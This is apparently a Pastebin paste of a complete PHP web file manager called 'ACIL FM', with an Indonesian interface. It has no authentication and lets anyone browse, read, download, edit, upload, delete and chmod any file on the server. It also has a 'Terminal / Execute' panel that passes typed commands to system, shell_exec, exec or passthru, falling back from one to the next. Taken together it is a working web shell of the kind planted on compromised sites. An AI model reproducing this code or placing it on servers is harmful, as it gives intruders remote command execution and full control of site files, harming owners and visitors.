CaFc_Br40ck

FILEMANAGER

Jan 9th, 2026 (edited)
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 27.71 KB | None | 0 0
  1. <?php
  2. // ----------------- Handling current dir / chdir based on ?dir -----------------
  3. if(isset($_GET['dir']) && $_GET['dir'] !== '') {
  4.     // jangan lupa sanitasi minimal: resolve realpath jika ada
  5.     $requested = $_GET['dir'];
  6.     // izinkan path relatif/absolute — coba realpath jika memungkinkan
  7.     $real = @realpath($requested);
  8.     if($real !== false) {
  9.         chdir($real);
  10.         $dir = $real;
  11.     } else {
  12.         // jika realpath gagal (mis: symlink), fallback ke nilai user-supplied
  13.         chdir($requested);
  14.         $dir = getcwd();
  15.     }
  16. } else {
  17.     $dir = getcwd();
  18. }
  19. // Build breadcrumb parts
  20. $scdir = array_values(array_filter(explode('/', str_replace('\\', '/', trim($dir, '/'))), function($v){return $v!=='';} ));
  21. if (substr($dir,0,1) === '/') {
  22.     // absolute unix path -> keep leading slash marker by using empty first element
  23.     $is_rooted = true;
  24. } else {
  25.     $is_rooted = false;
  26. }
  27.  
  28. // Utility: normalize path for links
  29. function path_link($parts, $idx, $is_rooted) {
  30.     $out = $is_rooted ? '/' : '';
  31.     for($i=0;$i<=$idx;$i++){
  32.         $out .= $parts[$i];
  33.         if($i != $idx) $out .= '/';
  34.     }
  35.     return $out === '' ? '/' : $out;
  36. }
  37.  
  38. // ----------------- Helper functions -----------------
  39. function human_size($bytes) {
  40.     $units = ['B', 'KB', 'MB', 'GB'];
  41.     $i = 0;
  42.     while ($bytes >= 1024 && $i < count($units) - 1) {
  43.         $bytes /= 1024;
  44.         $i++;
  45.     }
  46.     return round($bytes, 2) . ' ' . $units[$i];
  47. }
  48.  
  49. function natural_sort_dirs_files($items) {
  50.     // $items: array of filenames (name only)
  51.     $dirs = [];
  52.     $files = [];
  53.     foreach($items as $it) {
  54.         if(is_dir($it)) $dirs[] = $it; else $files[] = $it;
  55.     }
  56.     usort($dirs, function($a,$b){ return strnatcasecmp($a,$b); });
  57.     usort($files, function($a,$b){ return strnatcasecmp($a,$b); });
  58.     return array_merge($dirs, $files);
  59. }
  60.  
  61. // ----------------- POST actions handling -----------------
  62. $messages = [];
  63. $errors = [];
  64.  
  65. // Helper to sanitize filenames for display
  66. function e($s){ return htmlspecialchars($s, ENT_QUOTES); }
  67.  
  68. if($_SERVER['REQUEST_METHOD'] === 'POST') {
  69.     // Create folder
  70.     if(isset($_POST['create_folder'])) {
  71.         $name = $_POST['folder_name'] ?? '';
  72.         $target = trim($name);
  73.         if($target === '') {
  74.             $errors[] = "Nama folder kosong.";
  75.         } else {
  76.             if(@mkdir($target, 0777, false)) {
  77.                 $messages[] = "Folder '" . e($target) . "' dibuat.";
  78.             } else {
  79.                 $errors[] = "Gagal membuat folder '". e($target) ."' — cek permission.";
  80.             }
  81.         }
  82.     }
  83.  
  84.     // Create file
  85.     if(isset($_POST['create_file'])) {
  86.         $name = $_POST['file_name'] ?? '';
  87.         $content = $_POST['file_content'] ?? '';
  88.         $target = trim($name);
  89.         if($target === '') {
  90.             $errors[] = "Nama file kosong.";
  91.         } else {
  92.             if(@file_put_contents($target, $content) !== false) {
  93.                 $messages[] = "File '" . e($target) . "' dibuat.";
  94.             } else {
  95.                 $errors[] = "Gagal membuat file '" . e($target) . "'.";
  96.             }
  97.         }
  98.     }
  99.  
  100.     // Upload files (multiple)
  101.     if(isset($_FILES['upload_files'])) {
  102.         $up = $_FILES['upload_files'];
  103.         for($i=0;$i<count($up['name']);$i++){
  104.             if($up['error'][$i] === UPLOAD_ERR_OK) {
  105.                 $dest = basename($up['name'][$i]);
  106.                 if(@move_uploaded_file($up['tmp_name'][$i], $dest)) {
  107.                     $messages[] = "File '" . e($dest) . "' diupload.";
  108.                 } else {
  109.                     $errors[] = "Gagal memindahkan file '" . e($up['name'][$i]) . "'.";
  110.                 }
  111.             } else {
  112.                 $errors[] = "Upload error pada '" . e($up['name'][$i]) . "'.";
  113.             }
  114.         }
  115.     }
  116.  
  117.     // Delete selected (single or batch)
  118.     if(isset($_POST['delete_selected'])) {
  119.         $sel = $_POST['sel'] ?? [];
  120.         foreach($sel as $s) {
  121.             // protect . and ..
  122.             if($s === '.' || $s === '..') continue;
  123.             if(is_dir($s)) {
  124.                 // delete directory recursively
  125.                 $it = new RecursiveDirectoryIterator($s, RecursiveDirectoryIterator::SKIP_DOTS);
  126.                 $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
  127.                 foreach($files as $file) {
  128.                     if($file->isDir()) @rmdir($file->getRealPath());
  129.                     else @unlink($file->getRealPath());
  130.                 }
  131.                 if(@rmdir($s)) $messages[] = "Folder '". e($s) ."' dihapus.";
  132.                 else $errors[] = "Gagal menghapus folder '". e($s) ."'.";
  133.             } else {
  134.                 if(@unlink($s)) $messages[] = "File '". e($s) ."' dihapus.";
  135.                 else $errors[] = "Gagal menghapus file '". e($s) ."'.";
  136.             }
  137.         }
  138.     }
  139.  
  140.     // Rename single
  141.     if(isset($_POST['rename_item'])) {
  142.         $old = $_POST['old_name'] ?? '';
  143.         $new = $_POST['new_name'] ?? '';
  144.         if($old === '' || $new === '') {
  145.             $errors[] = "Nama lama/baru kosong.";
  146.         } else {
  147.             if(@rename($old, $new)) $messages[] = "Rename berhasil: '".e($old)."' -> '".e($new)."'.";
  148.             else $errors[] = "Rename gagal.";
  149.         }
  150.     }
  151.  
  152.     // Edit file save
  153.     if(isset($_POST['save_file'])) {
  154.         $file = $_POST['edit_file'] ?? '';
  155.         $content = $_POST['edit_content'] ?? '';
  156.         if($file === '' || !is_file($file)) $errors[] = "File tidak ditemukan.";
  157.         else {
  158.             if(@file_put_contents($file, $content) !== false) $messages[] = "File '".e($file)."' disimpan.";
  159.             else $errors[] = "Gagal menyimpan file '".e($file)."'.";
  160.         }
  161.     }
  162.  
  163.     // Download handled by GET action below
  164.  
  165.     // Zip selected
  166.     if(isset($_POST['zip_selected'])) {
  167.         $sel = $_POST['sel'] ?? [];
  168.         $zipname = trim($_POST['zip_name'] ?? 'archive.zip');
  169.         if($zipname === '') $zipname = 'archive.zip';
  170.         $zip = new ZipArchive();
  171.         if($zip->open($zipname, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
  172.             $errors[] = "Gagal membuat archive.";
  173.         } else {
  174.             foreach($sel as $s) {
  175.                 if(is_dir($s)) {
  176.                     // add directory recursively
  177.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s, RecursiveDirectoryIterator::SKIP_DOTS),
  178.                         RecursiveIteratorIterator::LEAVES_ONLY);
  179.                     foreach ($files as $file) {
  180.                         $filePath = $file->getRealPath();
  181.                         $relativePath = substr($filePath, strlen(getcwd()) + 1);
  182.                         $zip->addFile($filePath, $relativePath);
  183.                     }
  184.                 } elseif(is_file($s)) {
  185.                     $zip->addFile($s, basename($s));
  186.                 }
  187.             }
  188.             $zip->close();
  189.             $messages[] = "Archive '". e($zipname) ."' dibuat.";
  190.         }
  191.     }
  192.  
  193.     // Unzip uploaded zip (or unzip existing)
  194.     if(isset($_POST['unzip_file'])) {
  195.         $zipfile = $_POST['zipfile'] ?? '';
  196.         $dest = $_POST['unzip_to'] ?? './';
  197.         if(!is_file($zipfile)) $errors[] = "File zip tidak ditemukan.";
  198.         else {
  199.             $z = new ZipArchive();
  200.             if($z->open($zipfile) === true) {
  201.                 if($z->extractTo($dest)) {
  202.                     $messages[] = "Zip '".e($zipfile)."' diekstrak ke '".e($dest)."'.";
  203.                 } else {
  204.                     $errors[] = "Gagal ekstrak.";
  205.                 }
  206.                 $z->close();
  207.             } else {
  208.                 $errors[] = "Gagal membuka zip.";
  209.             }
  210.         }
  211.     }
  212.  
  213.     // Read list entries inside zip (for preview)
  214.     if(isset($_POST['listzip'])) {
  215.         $zipfile = $_POST['zipfile'] ?? '';
  216.         if(!is_file($zipfile)) $errors[] = "File zip tidak ditemukan.";
  217.         else {
  218.             $z = new ZipArchive();
  219.             if($z->open($zipfile) === true) {
  220.                 $zip_list = [];
  221.                 for($i=0;$i<$z->numFiles;$i++){
  222.                     $zip_list[] = $z->getNameIndex($i);
  223.                 }
  224.                 $z->close();
  225.             } else {
  226.                 $errors[] = "Gagal membuka zip.";
  227.             }
  228.         }
  229.     }
  230.  
  231.     // Chmod single
  232.     if(isset($_POST['chmod_single'])) {
  233.         $path = $_POST['chmod_path'] ?? '';
  234.         $perm = $_POST['chmod_value'] ?? '';
  235.         if($path === '' || $perm === '') $errors[] = "Path atau permission kosong.";
  236.         else {
  237.             // sanitize octal string
  238.             $p = intval($perm, 8);
  239.             if(@chmod($path, $p)) $messages[] = "Chmod '".e($path)."' => ".e($perm)." berhasil.";
  240.             else $errors[] = "Chmod gagal pada '".e($path)."'.";
  241.         }
  242.     }
  243.  
  244.     // Chmod bulk (All File / All Folder / All File dan Folder)
  245.     if(isset($_POST['chmod_bulk'])) {
  246.         $which = $_POST['chmod_target'] ?? '';
  247.         $perm = $_POST['chmod_bulk_value'] ?? '';
  248.         $p = intval($perm, 8);
  249.         if($perm === '') $errors[] = "Permission kosong.";
  250.         else {
  251.             $applied = 0;
  252.             $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(getcwd(), RecursiveDirectoryIterator::SKIP_DOTS),
  253.                 RecursiveIteratorIterator::SELF_FIRST);
  254.             foreach($it as $item) {
  255.                 if($which === 'all_file' && $item->isFile()) {
  256.                     if(@chmod($item->getRealPath(), $p)) $applied++;
  257.                 } elseif($which === 'all_folder' && $item->isDir()) {
  258.                     if(@chmod($item->getRealPath(), $p)) $applied++;
  259.                 } elseif($which === 'all' ) {
  260.                     if(@chmod($item->getRealPath(), $p)) $applied++;
  261.                 }
  262.             }
  263.             $messages[] = "Chmod bulk diterapkan ke $applied item.";
  264.         }
  265.     }
  266.  
  267.     // Terminal execute
  268.     if(isset($_POST['terminal_cmd'])) {
  269.         $cmd = $_POST['terminal_cmd_input'] ?? '';
  270.         $term_output = exe($cmd);
  271.     }
  272. }
  273.  
  274. // ----------------- GET actions: download, preview, edit load, listdir -----------------
  275. if(isset($_GET['download'])) {
  276.     $f = $_GET['download'];
  277.     if(is_file($f)) {
  278.         header('Content-Description: File Transfer');
  279.         header('Content-Type: application/octet-stream');
  280.         header('Content-Disposition: attachment; filename="'.basename($f).'"');
  281.         header('Content-Length: ' . filesize($f));
  282.         readfile($f);
  283.         exit;
  284.     } else {
  285.         $errors[] = "File untuk download tidak ditemukan.";
  286.     }
  287. }
  288.  
  289. if(isset($_GET['edit'])) {
  290.     $edit_file = $_GET['edit'];
  291.     if(!is_file($edit_file)) {
  292.         $errors[] = "File tidak ditemukan.";
  293.         unset($edit_file);
  294.     } else {
  295.         $edit_content = @file_get_contents($edit_file);
  296.     }
  297. }
  298.  
  299. if(isset($_GET['view'])) {
  300.     $view = $_GET['view'];
  301.     if(is_file($view)) {
  302.         header('Content-Type: text/plain; charset=utf-8');
  303.         echo file_get_contents($view);
  304.         exit;
  305.     }
  306. }
  307.  
  308. // ----------------- Get directory listing -----------------
  309. $items = array_diff(scandir($dir), ['.','..']);
  310. $items = natural_sort_dirs_files($items);
  311.  
  312. // ----------------- HTML / UI -----------------
  313. ?>
  314. <!doctype html>
  315. <html lang="id">
  316. <head>
  317.   <meta charset="utf-8">
  318.   <title>ACIL FM</title>
  319.   <meta name="viewport" content="width=device-width, initial-scale=1">
  320.   <!-- Bootstrap 5 CSS -->
  321.   <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
  322.   <!-- Bootstrap Icons -->
  323.   <link href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css" rel="stylesheet">
  324.   <style>
  325.     body.dark { background:#121212; color:#ddd; }
  326.     .card.dark { background:#1b1b1b; color:#ddd; }
  327.     pre.term { background:#000; color:#0f0; padding:10px; border-radius:4px; max-height:300px; overflow:auto; }
  328.     .file-row:hover { background: rgba(0,0,0,0.03); }
  329.     .breadcrumb a { text-decoration: none; }
  330.     .table td, .table th { vertical-align: middle; }
  331.     .small-muted { font-size:0.85em; color: #888; }
  332.   </style>
  333. </head>
  334. <body class="">
  335. <div class="container-fluid py-3">
  336.   <div class="d-flex justify-content-between align-items-center mb-2">
  337.     <h3><i class="bi-folder2-open"></i> ACIL FM</h3>
  338.     <div>
  339.       <button id="toggleDark" class="btn btn-sm btn-outline-secondary"><i class="bi-moon-stars"></i> Dark</button>
  340.       <a class="btn btn-sm btn-primary" href="?dir=<?php echo urlencode($dir); ?>"><i class="bi-arrow-clockwise"></i> Refresh</a>
  341.       <small class="text-muted ms-2">Current DIR: <strong><?php echo e($dir); ?></strong></small>
  342.     </div>
  343.   </div>
  344.  
  345.   <?php if(!empty($messages)): ?>
  346.     <div class="alert alert-success"><?php foreach($messages as $m) echo e($m)."<br>"; ?></div>
  347.   <?php endif; ?>
  348.   <?php if(!empty($errors)): ?>
  349.     <div class="alert alert-danger"><?php foreach($errors as $e) echo e($e)."<br>"; ?></div>
  350.   <?php endif; ?>
  351.  
  352.   <!-- Breadcrumb -->
  353.   <nav aria-label="breadcrumb">
  354.     <ol class="breadcrumb">
  355.       <?php
  356.         // Root link
  357.         $acc = $is_rooted ? '/' : (count($scdir)>0 ? $scdir[0] : $dir);
  358.         // Build clickable segments
  359.         if($is_rooted) {
  360.             echo '<li class="breadcrumb-item"><a href="?dir=/">/</a></li>';
  361.             for($i=0;$i<count($scdir);$i++){
  362.                 $link = path_link($scdir, $i, true);
  363.                 if($i == count($scdir)-1) echo '<li class="breadcrumb-item active" aria-current="page">'.e($scdir[$i]).'</li>';
  364.                 else echo '<li class="breadcrumb-item"><a href="?dir='.urlencode($link).'">'.e($scdir[$i]).'</a></li>';
  365.             }
  366.         } else {
  367.             // relative path (windows or relative)
  368.             if(empty($scdir)) {
  369.                 echo '<li class="breadcrumb-item active" aria-current="page">'.e($dir).'</li>';
  370.             } else {
  371.                 for($i=0;$i<count($scdir);$i++){
  372.                     $link = path_link($scdir, $i, false);
  373.                     if($i == count($scdir)-1) echo '<li class="breadcrumb-item active" aria-current="page">'.e($scdir[$i]).'</li>';
  374.                     else echo '<li class="breadcrumb-item"><a href="?dir='.urlencode($link).'">'.e($scdir[$i]).'</a></li>';
  375.                 }
  376.             }
  377.         }
  378.       ?>
  379.     </ol>
  380.   </nav>
  381.  
  382.   <div class="row g-3">
  383.     <div class="col-lg-8">
  384.       <div class="card mb-3">
  385.         <div class="card-body">
  386.           <!-- Actions bar -->
  387.           <form id="mainForm" method="post" enctype="multipart/form-data">
  388.             <div class="d-flex gap-2 mb-3 flex-wrap">
  389.               <input type="file" name="upload_files[]" multiple class="form-control form-control-sm" style="max-width:300px;">
  390.               <button type="submit" class="btn btn-sm btn-success" name="upload_btn"><i class="bi-upload"></i> Upload</button>
  391.  
  392.               <input type="text" name="zip_name" placeholder="archive.zip" class="form-control form-control-sm" style="width:150px;">
  393.               <button type="submit" name="zip_selected" class="btn btn-sm btn-secondary"><i class="bi-file-earmark-zip"></i> Zip Selected</button>
  394.  
  395.               <button type="button" id="btnDelete" class="btn btn-sm btn-danger"><i class="bi-trash"></i> Delete Selected</button>
  396.  
  397.               <div class="ms-auto">
  398.                 <div class="form-check form-switch d-inline">
  399.                   <input class="form-check-input" type="checkbox" id="checkAll">
  400.                   <label class="form-check-label small" for="checkAll">Pilih semua</label>
  401.                 </div>
  402.               </div>
  403.             </div>
  404.  
  405.             <table class="table table-hover table-sm">
  406.               <thead class="table-light">
  407.                 <tr>
  408.                   <th style="width:36px;"></th>
  409.                   <th>Nama</th>
  410.                   <th style="width:160px;">Ukuran</th>
  411.                   <th style="width:160px;">Permission</th>
  412.                   <th style="width:220px;">Aksi</th>
  413.                 </tr>
  414.               </thead>
  415.               <tbody>
  416.               <?php foreach($items as $it):
  417.                     $safe = e($it);
  418.                     $isdir = is_dir($it);
  419.                     $size = $isdir ? '-' : human_size(filesize($it));
  420.                     $perms = substr(sprintf('%o', fileperms($it)), -4);
  421.                     $full_path = $dir . '/' . $it;
  422.                 ?>
  423.                 <tr class="file-row">
  424.                   <td><input type="checkbox" class="selbox" name="sel[]" value="<?php echo e($it); ?>"></td>
  425.                   <td>
  426.                     <?php if($isdir): ?>
  427.                       <i class="bi-folder2-fill text-warning"></i>
  428.                       <a href="?dir=<?php echo urlencode($full_path); ?>"><?php echo $safe; ?></a>
  429.                     <?php else: ?>
  430.                       <i class="bi-file-earmark-text"></i>
  431.                       <?php echo $safe; ?>
  432.                     <?php endif; ?>
  433.                     <div class="small-muted"><?php echo is_link($it) ? 'symlink' : ''; ?></div>
  434.                   </td>
  435.                   <td><?php echo $size; ?></td>
  436.                   <td>
  437.                     <form style="display:inline;" method="post" class="d-inline-block">
  438.                       <input type="hidden" name="chmod_path" value="<?php echo e($it); ?>">
  439.                       <input type="text" name="chmod_value" value="<?php echo e($perms); ?>" class="form-control form-control-sm d-inline" style="width:80px; display:inline-block;">
  440.                       <button class="btn btn-sm btn-outline-primary" name="chmod_single" type="submit">chmod</button>
  441.                     </form>
  442.                   </td>
  443.                   <td>
  444.                     <?php if(!$isdir): ?>
  445.                       <a class="btn btn-sm btn-outline-secondary" href="?dir=<?php echo urlencode($dir); ?>&view=<?php echo urlencode($full_path); ?>" target="_blank"><i class="bi-eye"></i> View</a>
  446.                       <a class="btn btn-sm btn-outline-success" href="?dir=<?php echo urlencode($dir); ?>&download=<?php echo urlencode($full_path); ?>"><i class="bi-download"></i> DL</a>
  447.                       <a class="btn btn-sm btn-outline-warning" href="?dir=<?php echo urlencode($dir); ?>&edit=<?php echo urlencode($full_path); ?>"><i class="bi-pencil"></i> Edit</a>
  448.                       <?php if(strtolower(pathinfo($it, PATHINFO_EXTENSION)) === 'zip'): ?>
  449.                         <!-- Zip actions -->
  450.                         <button type="button" class="btn btn-sm btn-info btn-listzip" data-zip="<?php echo e($it); ?>"><i class="bi-list-ul"></i> ListZip</button>
  451.                         <button type="button" class="btn btn-sm btn-secondary btn-unzip" data-zip="<?php echo e($it); ?>"><i class="bi-arrow-down-square"></i> Unzip</button>
  452.                       <?php endif; ?>
  453.                     <?php else: ?>
  454.                       <a class="btn btn-sm btn-outline-primary" href="?dir=<?php echo urlencode($full_path); ?>"><i class="bi-folder2-open"></i> Open</a>
  455.                     <?php endif; ?>
  456.                     <button type="button" class="btn btn-sm btn-outline-secondary btn-rename" data-name="<?php echo e($it); ?>"><i class="bi-pencil-square"></i> Rename</button>
  457.                     <button type="button" class="btn btn-sm btn-outline-danger btn-delete" data-name="<?php echo e($it); ?>"><i class="bi-trash"></i> Delete</button>
  458.                   </td>
  459.                 </tr>
  460.                 <?php endforeach; ?>
  461.               </tbody>
  462.             </table>
  463.           </form>
  464.         </div>
  465.       </div>
  466.  
  467.       <!-- Edit area -->
  468.       <?php if(isset($edit_file)): ?>
  469.         <div class="card mb-3">
  470.           <div class="card-header">Edit file: <?php echo e($edit_file); ?></div>
  471.           <div class="card-body">
  472.             <form method="post">
  473.               <input type="hidden" name="edit_file" value="<?php echo e($edit_file); ?>">
  474.               <textarea name="edit_content" rows="12" class="form-control"><?php echo e($edit_content); ?></textarea>
  475.               <div class="mt-2">
  476.                 <button class="btn btn-primary" name="save_file">Simpan</button>
  477.                 <a class="btn btn-secondary" href="?dir=<?php echo urlencode($dir); ?>">Batal</a>
  478.               </div>
  479.             </form>
  480.           </div>
  481.         </div>
  482.       <?php endif; ?>
  483.  
  484.       <!-- Zip list preview -->
  485.       <div id="zipPreview" class="card mb-3" style="display:none;">
  486.         <div class="card-header">Isi Zip: <span id="zipName"></span></div>
  487.         <div class="card-body">
  488.           <ul id="zipList"></ul>
  489.         </div>
  490.       </div>
  491.  
  492.       <!-- Unzip modal / form -->
  493.       <div id="unzipForm" style="display:none;">
  494.         <form method="post" id="unzipSubmit">
  495.           <input type="hidden" name="zipfile" id="unzip_zipfile" value="">
  496.           <div class="input-group mb-2">
  497.             <input type="text" name="unzip_to" class="form-control" value="./" placeholder="Destination folder">
  498.             <button class="btn btn-primary" name="unzip_file" type="submit">Unzip</button>
  499.           </div>
  500.         </form>
  501.       </div>
  502.  
  503.       <!-- Create file/folder panel -->
  504.       <div class="card mb-3">
  505.         <div class="card-header">Create</div>
  506.         <div class="card-body">
  507.           <form method="post">
  508.             <div class="row g-2">
  509.               <div class="col-auto">
  510.                 <input type="text" name="folder_name" class="form-control" placeholder="Nama folder">
  511.               </div>
  512.               <div class="col-auto">
  513.                 <button class="btn btn-outline-success" name="create_folder" type="submit">Buat Folder</button>
  514.               </div>
  515.             </div>
  516.           </form>
  517.  
  518.           <hr>
  519.  
  520.           <form method="post">
  521.             <div class="mb-2">
  522.               <input type="text" name="file_name" class="form-control" placeholder="Nama file (mis: new.txt)">
  523.             </div>
  524.             <div class="mb-2">
  525.               <textarea name="file_content" class="form-control" rows="6" placeholder="Isi file (opsional)"></textarea>
  526.             </div>
  527.             <button class="btn btn-outline-primary" name="create_file" type="submit">Buat File</button>
  528.           </form>
  529.         </div>
  530.       </div>
  531.  
  532.     </div> <!-- col-lg-8 -->
  533.  
  534.     <div class="col-lg-4">
  535.       <!-- Terminal -->
  536.       <div class="card mb-3">
  537.         <div class="card-header">Terminal / Execute</div>
  538.         <div class="card-body">
  539.           <form method="post">
  540.             <div class="input-group mb-2">
  541.               <input type="text" name="terminal_cmd_input" class="form-control" placeholder="Perintah atau path file untuk dibaca">
  542.               <button class="btn btn-dark" name="terminal_cmd" type="submit">Run</button>
  543.             </div>
  544.             <?php if(isset($term_output)): ?>
  545.               <pre class="term"><?php echo e($term_output); ?></pre>
  546.             <?php endif; ?>
  547.           </form>
  548.         </div>
  549.       </div>
  550.  
  551.       <!-- Chmod bulk -->
  552.       <div class="card mb-3">
  553.         <div class="card-header">Chmod Bulk</div>
  554.         <div class="card-body">
  555.           <form method="post">
  556.             <div class="mb-2">
  557.               <select name="chmod_target" class="form-select form-select-sm">
  558.                 <option value="all_file">All File</option>
  559.                 <option value="all_folder">All Folder</option>
  560.                 <option value="all">All File dan Folder</option>
  561.               </select>
  562.             </div>
  563.             <div class="input-group mb-2">
  564.               <input type="text" name="chmod_bulk_value" class="form-control form-control-sm" placeholder="0755">
  565.               <button class="btn btn-outline-primary" name="chmod_bulk" type="submit">Apply</button>
  566.             </div>
  567.           </form>
  568.         </div>
  569.       </div>
  570.  
  571.       <!-- Rename / Delete single (modal-like simplified) -->
  572.       <div id="modalArea"></div>
  573.     </div>
  574.   </div>
  575. </div>
  576.  
  577. <!-- jQuery + Bootstrap JS -->
  578. <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
  579. <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
  580. <script>
  581. $(function(){
  582.   // Dark toggle: simple toggle class
  583.   $('#toggleDark').on('click', function(){
  584.     $('body').toggleClass('dark');
  585.     $(this).find('i').toggleClass('bi-moon-stars bi-sun');
  586.   });
  587.  
  588.   // Check all
  589.   $('#checkAll').on('change', function(){
  590.     $('.selbox').prop('checked', $(this).prop('checked'));
  591.   });
  592.  
  593.   // Delete selected button
  594.   $('#btnDelete').on('click', function(){
  595.     if(confirm('Hapus item yang dipilih?')) {
  596.       $('<input>').attr({type:'hidden',name:'delete_selected',value:'1'}).appendTo('#mainForm');
  597.       $('#mainForm').submit();
  598.     }
  599.   });
  600.  
  601.   // per-row delete
  602.   $('.btn-delete').on('click', function(){
  603.     var name = $(this).data('name');
  604.     if(confirm('Hapus '+name+' ?')) {
  605.       var form = $('<form method="post"></form>');
  606.       form.append($('<input>').attr({type:'hidden',name:'sel[]',value:name}));
  607.       form.append($('<input>').attr({type:'hidden',name:'delete_selected',value:'1'}));
  608.       $('body').append(form);
  609.       form.submit();
  610.     }
  611.   });
  612.  
  613.   // rename dialog
  614.   $('.btn-rename').on('click', function(){
  615.     var name = $(this).data('name');
  616.     var html = '<div class="card card-body mb-3"><form method="post">';
  617.     html += '<input type="hidden" name="old_name" value="'+name+'">';
  618.     html += '<div class="input-group"><input name="new_name" class="form-control" value="'+name+'"><button class="btn btn-primary" name="rename_item">Rename</button></div>';
  619.     html += '</form></div>';
  620.     $('#modalArea').html(html);
  621.     window.scrollTo(0,0);
  622.   });
  623.  
  624.   // list zip contents
  625.   $('.btn-listzip').on('click', function(){
  626.     var zip = $(this).data('zip');
  627.     $.post('', {listzip:1, zipfile: zip}, function(resp){
  628.       // server returns whole page; but we rely on ZIP preview by asking server via AJAX not available
  629.       // Instead: open small form that will POST to server and reload — simpler approach:
  630.       var form = $('<form method="post"></form>');
  631.       form.append($('<input>').attr({type:'hidden',name:'listzip',value:'1'}));
  632.       form.append($('<input>').attr({type:'hidden',name:'zipfile',value:zip}));
  633.       $('body').append(form);
  634.       form.submit();
  635.     });
  636.   });
  637.  
  638.   // unzip action - open small inline form
  639.   $('.btn-unzip').on('click', function(){
  640.     var zip = $(this).data('zip');
  641.     $('#unzip_zipfile').val(zip);
  642.     var win = window.open('', 'unzipWindow', 'width=600,height=200');
  643.     var html = '<html><head><title>Unzip</title></head><body><form method="post">';
  644.     html += '<input type="hidden" name="zipfile" value="'+zip+'">';
  645.     html += '<input type="text" name="unzip_to" value="./" style="width:300px;">';
  646.     html += '<button name="unzip_file">Unzip</button>';
  647.     html += '</form></body></html>';
  648.     win.document.write(html);
  649.     win.document.close();
  650.   });
  651.  
  652.   // fallback for AJAX-less zip list display (if server returned $zip_list after reload)
  653.   <?php if(isset($zip_list) && is_array($zip_list)): ?>
  654.     var zipEntries = <?php echo json_encode($zip_list); ?>;
  655.     $('#zipName').text('<?php echo e($zipfile ?? 'zip'); ?>');
  656.     $('#zipList').empty();
  657.     zipEntries.forEach(function(x){ $('#zipList').append($('<li>').text(x)); });
  658.     $('#zipPreview').show();
  659.     window.scrollTo(0,document.body.scrollHeight);
  660.   <?php endif; ?>
  661.  
  662. });
  663. </script>
  664. </body>
  665. </html>
  666. <?php
  667. function exe($cmd) {
  668.     if (function_exists('system')) {
  669.         ob_start();
  670.         system($cmd . ' 2>&1');
  671.         return ob_get_clean();
  672.     } elseif (function_exists('shell_exec')) {
  673.         return shell_exec($cmd . ' 2>&1');
  674.     } elseif (function_exists('exec')) {
  675.         exec($cmd . ' 2>&1', $output);
  676.         return implode("\n", $output);
  677.     } elseif (function_exists('passthru')) {
  678.         ob_start();
  679.         passthru($cmd . ' 2>&1');
  680.         return ob_get_clean();
  681.     } else {
  682.         return 'Command execution not available.';
  683.     }
  684. }
  685. ?>
Advertisement
Add Comment
Please, Sign In to add comment